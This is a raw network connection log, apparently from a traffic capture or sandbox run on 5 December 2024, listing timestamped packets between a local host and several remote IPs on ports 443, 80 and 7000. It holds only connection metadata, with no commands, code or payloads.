Dec 5, 2024 14:01:37.943665981 CET	443	49768	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:37.944461107 CET	49769	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:37.944493055 CET	443	49769	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:37.944554090 CET	49769	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:37.944583893 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.944606066 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.944633961 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.944863081 CET	49769	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:37.944875956 CET	443	49769	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:37.945765018 CET	49770	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:37.945774078 CET	443	49770	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:37.945830107 CET	49770	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:37.945966005 CET	49770	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:37.945974112 CET	443	49770	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:37.949126005 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.949170113 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.949194908 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.952318907 CET	49765	443	192.168.2.6	104.21.67.152
Dec 5, 2024 14:01:37.953675985 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.953722000 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.953777075 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.958368063 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.958414078 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.958465099 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.962944031 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.963000059 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.963025093 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.967747927 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.967777014 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.967793941 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.972207069 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.972254038 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.972309113 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.999337912 CET	443	49765	104.21.67.152	192.168.2.6
Dec 5, 2024 14:01:38.006000042 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:38.006042957 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:38.006055117 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:38.008342028 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:38.008387089 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:38.008454084 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:38.013079882 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:38.013125896 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:38.013151884 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:38.017518044 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:38.017564058 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:38.017636061 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:38.022803068 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:38.022845030 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:38.022917986 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:38.027793884 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:38.027831078 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:38.027852058 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:38.032047987 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:38.032094955 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:38.032166004 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:38.036936045 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:38.036978960 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:38.037029028 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:38.041254997 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:38.041296005 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:38.041352034 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:38.046011925 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:38.046066046 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:38.046194077 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:38.050545931 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:38.050595045 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:38.050621986 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:38.055109978 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:38.055151939 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:38.055233955 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:38.060360909 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:38.060415983 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:38.060445070 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:38.064528942 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:38.064574957 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:38.064584970 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:38.068968058 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:38.069011927 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:38.069148064 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:38.073633909 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:38.073682070 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:38.073709011 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:38.078161955 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:38.078233004 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:38.078252077 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:38.082977057 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:38.083019972 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:38.083056927 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:38.087508917 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:38.087538958 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:38.087553978 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:38.092107058 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:38.092148066 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:38.092287064 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:38.126071930 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:38.126118898 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:38.126378059 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:38.128400087 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:38.128448009 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:38.128536940 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:38.132994890 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:38.133043051 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:38.133241892 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:38.137788057 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:38.137835026 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:38.138071060 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:38.142712116 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:38.142739058 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:38.142761946 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:38.147633076 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:38.147677898 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:38.147751093 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:38.152507067 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:38.152554989 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:38.152569056 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:38.157648087 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:38.157692909 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:38.157743931 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:38.161716938 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:38.161757946 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:38.161762953 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:38.165986061 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:38.166035891 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:38.166083097 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:38.169843912 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:38.169895887 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:38.208385944 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:38.284895897 CET	443	49765	104.21.67.152	192.168.2.6
Dec 5, 2024 14:01:38.284965038 CET	443	49765	104.21.67.152	192.168.2.6
Dec 5, 2024 14:01:38.285082102 CET	49765	443	192.168.2.6	104.21.67.152
Dec 5, 2024 14:01:38.291388988 CET	49765	443	192.168.2.6	104.21.67.152
Dec 5, 2024 14:01:38.295013905 CET	49755	80	192.168.2.6	158.101.44.242
Dec 5, 2024 14:01:38.328362942 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:38.333226919 CET	443	49766	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:38.334060907 CET	49766	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:38.334079027 CET	443	49766	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:38.334594011 CET	49766	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:38.334599972 CET	443	49766	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:38.414875031 CET	80	49755	158.101.44.242	192.168.2.6
Dec 5, 2024 14:01:38.668951988 CET	80	49755	158.101.44.242	192.168.2.6
Dec 5, 2024 14:01:38.671463013 CET	49771	443	192.168.2.6	104.21.67.152
Dec 5, 2024 14:01:38.671516895 CET	443	49771	104.21.67.152	192.168.2.6
Dec 5, 2024 14:01:38.671619892 CET	49771	443	192.168.2.6	104.21.67.152
Dec 5, 2024 14:01:38.671931982 CET	49771	443	192.168.2.6	104.21.67.152
Dec 5, 2024 14:01:38.671945095 CET	443	49771	104.21.67.152	192.168.2.6
Dec 5, 2024 14:01:38.711666107 CET	49755	80	192.168.2.6	158.101.44.242
Dec 5, 2024 14:01:38.729825974 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:38.770656109 CET	443	49766	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:38.770734072 CET	443	49766	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:38.770860910 CET	49766	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:38.771123886 CET	49766	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:38.771146059 CET	443	49766	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:38.771157980 CET	49766	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:38.771163940 CET	443	49766	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:38.773744106 CET	49772	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:38.773782015 CET	443	49772	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:38.773869038 CET	49772	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:38.774235010 CET	49772	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:38.774245024 CET	443	49772	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:38.849764109 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:39.133440018 CET	443	49767	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:39.135251045 CET	49767	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:39.135271072 CET	443	49767	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:39.135936975 CET	49767	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:39.135943890 CET	443	49767	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:39.481849909 CET	443	49769	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:39.482395887 CET	49769	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:39.482434034 CET	443	49769	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:39.483253956 CET	49769	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:39.483259916 CET	443	49769	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:39.577728987 CET	443	49767	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:39.577837944 CET	443	49767	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:39.577886105 CET	49767	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:39.578392029 CET	49767	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:39.578404903 CET	443	49767	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:39.578416109 CET	49767	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:39.578424931 CET	443	49767	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:39.581558943 CET	49773	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:39.581589937 CET	443	49773	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:39.581650972 CET	49773	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:39.581811905 CET	49773	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:39.581826925 CET	443	49773	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:39.674927950 CET	443	49768	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:39.675442934 CET	49768	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:39.675452948 CET	443	49768	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:39.676042080 CET	49768	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:39.676047087 CET	443	49768	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:39.681119919 CET	443	49770	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:39.681740999 CET	49770	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:39.681755066 CET	443	49770	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:39.682409048 CET	49770	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:39.682415009 CET	443	49770	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:39.900765896 CET	443	49771	104.21.67.152	192.168.2.6
Dec 5, 2024 14:01:39.914437056 CET	49771	443	192.168.2.6	104.21.67.152
Dec 5, 2024 14:01:39.914454937 CET	443	49771	104.21.67.152	192.168.2.6
Dec 5, 2024 14:01:39.917531967 CET	443	49769	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:39.917607069 CET	443	49769	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:39.917654991 CET	49769	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:39.931632996 CET	49769	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:39.931638956 CET	443	49769	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:39.931663990 CET	49769	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:39.931668043 CET	443	49769	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:40.019527912 CET	49775	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:40.019545078 CET	443	49775	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:40.019608974 CET	49775	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:40.023530960 CET	49775	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:40.023540974 CET	443	49775	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:40.112096071 CET	443	49768	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:40.112173080 CET	443	49768	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:40.112240076 CET	49768	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:40.113734961 CET	49768	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:40.113748074 CET	443	49768	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:40.113758087 CET	49768	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:40.113761902 CET	443	49768	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:40.115885019 CET	443	49770	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:40.115935087 CET	443	49770	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:40.115984917 CET	49770	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:40.118288040 CET	49770	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:40.118288040 CET	49770	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:40.118294954 CET	443	49770	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:40.118298054 CET	443	49770	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:40.125905991 CET	49776	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:40.125925064 CET	443	49776	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:40.125982046 CET	49776	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:40.127738953 CET	49777	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:40.127752066 CET	443	49777	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:40.127815008 CET	49777	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:40.129678011 CET	49776	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:40.129693985 CET	443	49776	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:40.129781961 CET	49777	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:40.129793882 CET	443	49777	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:40.349700928 CET	443	49771	104.21.67.152	192.168.2.6
Dec 5, 2024 14:01:40.349776983 CET	443	49771	104.21.67.152	192.168.2.6
Dec 5, 2024 14:01:40.357496023 CET	49771	443	192.168.2.6	104.21.67.152
Dec 5, 2024 14:01:40.361660004 CET	49771	443	192.168.2.6	104.21.67.152
Dec 5, 2024 14:01:40.367111921 CET	49755	80	192.168.2.6	158.101.44.242
Dec 5, 2024 14:01:40.378278017 CET	49778	80	192.168.2.6	158.101.44.242
Dec 5, 2024 14:01:40.487289906 CET	80	49755	158.101.44.242	192.168.2.6
Dec 5, 2024 14:01:40.489101887 CET	49755	80	192.168.2.6	158.101.44.242
Dec 5, 2024 14:01:40.492311001 CET	443	49772	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:40.498213053 CET	80	49778	158.101.44.242	192.168.2.6
Dec 5, 2024 14:01:40.504940033 CET	49778	80	192.168.2.6	158.101.44.242
Dec 5, 2024 14:01:40.504940033 CET	49778	80	192.168.2.6	158.101.44.242
Dec 5, 2024 14:01:40.536855936 CET	49772	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:40.536879063 CET	443	49772	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:40.544472933 CET	49772	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:40.544478893 CET	443	49772	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:40.626238108 CET	80	49778	158.101.44.242	192.168.2.6
Dec 5, 2024 14:01:40.927282095 CET	443	49772	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:40.927366018 CET	443	49772	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:40.931720972 CET	49772	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:40.976923943 CET	49772	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:40.976953983 CET	443	49772	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:40.976984024 CET	49772	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:40.976989985 CET	443	49772	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:41.014173031 CET	49779	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:41.014189959 CET	443	49779	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:41.014393091 CET	49779	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:41.020570993 CET	49779	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:41.020579100 CET	443	49779	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:41.297274113 CET	443	49773	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:41.303863049 CET	49773	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:41.303877115 CET	443	49773	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:41.304455042 CET	49773	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:41.304460049 CET	443	49773	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:41.708549976 CET	80	49778	158.101.44.242	192.168.2.6
Dec 5, 2024 14:01:41.710030079 CET	49780	443	192.168.2.6	104.21.67.152
Dec 5, 2024 14:01:41.710040092 CET	443	49780	104.21.67.152	192.168.2.6
Dec 5, 2024 14:01:41.710107088 CET	49780	443	192.168.2.6	104.21.67.152
Dec 5, 2024 14:01:41.710416079 CET	49780	443	192.168.2.6	104.21.67.152
Dec 5, 2024 14:01:41.710428953 CET	443	49780	104.21.67.152	192.168.2.6
Dec 5, 2024 14:01:41.739927053 CET	443	49773	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:41.739980936 CET	443	49773	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:41.740035057 CET	49773	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:41.740245104 CET	49773	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:41.740250111 CET	443	49773	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:41.740267992 CET	49773	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:41.740272045 CET	443	49773	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:41.743673086 CET	49781	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:41.743704081 CET	443	49781	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:41.743757963 CET	49781	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:41.744419098 CET	49781	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:41.744431019 CET	443	49781	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:41.768345118 CET	443	49775	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:41.768837929 CET	49775	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:41.768846035 CET	443	49775	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:41.769530058 CET	49775	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:41.769535065 CET	443	49775	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:41.847438097 CET	443	49777	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:41.847722054 CET	443	49776	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:41.848536968 CET	49777	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:41.848550081 CET	443	49777	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:41.849512100 CET	49777	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:41.849518061 CET	443	49777	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:41.850126028 CET	49776	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:41.850135088 CET	443	49776	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:41.850805998 CET	49776	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:41.850811005 CET	443	49776	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:41.852293968 CET	49778	80	192.168.2.6	158.101.44.242
Dec 5, 2024 14:01:42.205070019 CET	443	49775	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:42.205127001 CET	443	49775	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:42.205174923 CET	49775	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:42.205590010 CET	49775	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:42.205599070 CET	443	49775	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:42.205610991 CET	49775	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:42.205615997 CET	443	49775	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:42.208553076 CET	49782	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:42.208570957 CET	443	49782	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:42.208632946 CET	49782	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:42.208820105 CET	49782	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:42.208832026 CET	443	49782	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:42.282049894 CET	443	49776	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:42.282110929 CET	443	49776	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:42.282237053 CET	49776	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:42.282452106 CET	49776	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:42.282452106 CET	49776	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:42.282461882 CET	443	49776	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:42.282464981 CET	443	49776	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:42.283056021 CET	443	49777	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:42.283107996 CET	443	49777	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:42.283226967 CET	49777	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:42.283761024 CET	49777	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:42.283761024 CET	49777	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:42.283770084 CET	443	49777	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:42.283777952 CET	443	49777	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:42.286279917 CET	49783	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:42.286312103 CET	443	49783	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:42.286750078 CET	49783	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:42.287132978 CET	49783	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:42.287143946 CET	443	49783	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:42.289968014 CET	49784	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:42.289988041 CET	443	49784	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:42.290137053 CET	49784	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:42.295846939 CET	49784	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:42.295861006 CET	443	49784	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:42.746849060 CET	443	49779	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:42.747682095 CET	49779	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:42.747689962 CET	443	49779	13.107.246.63	192.168.2.6
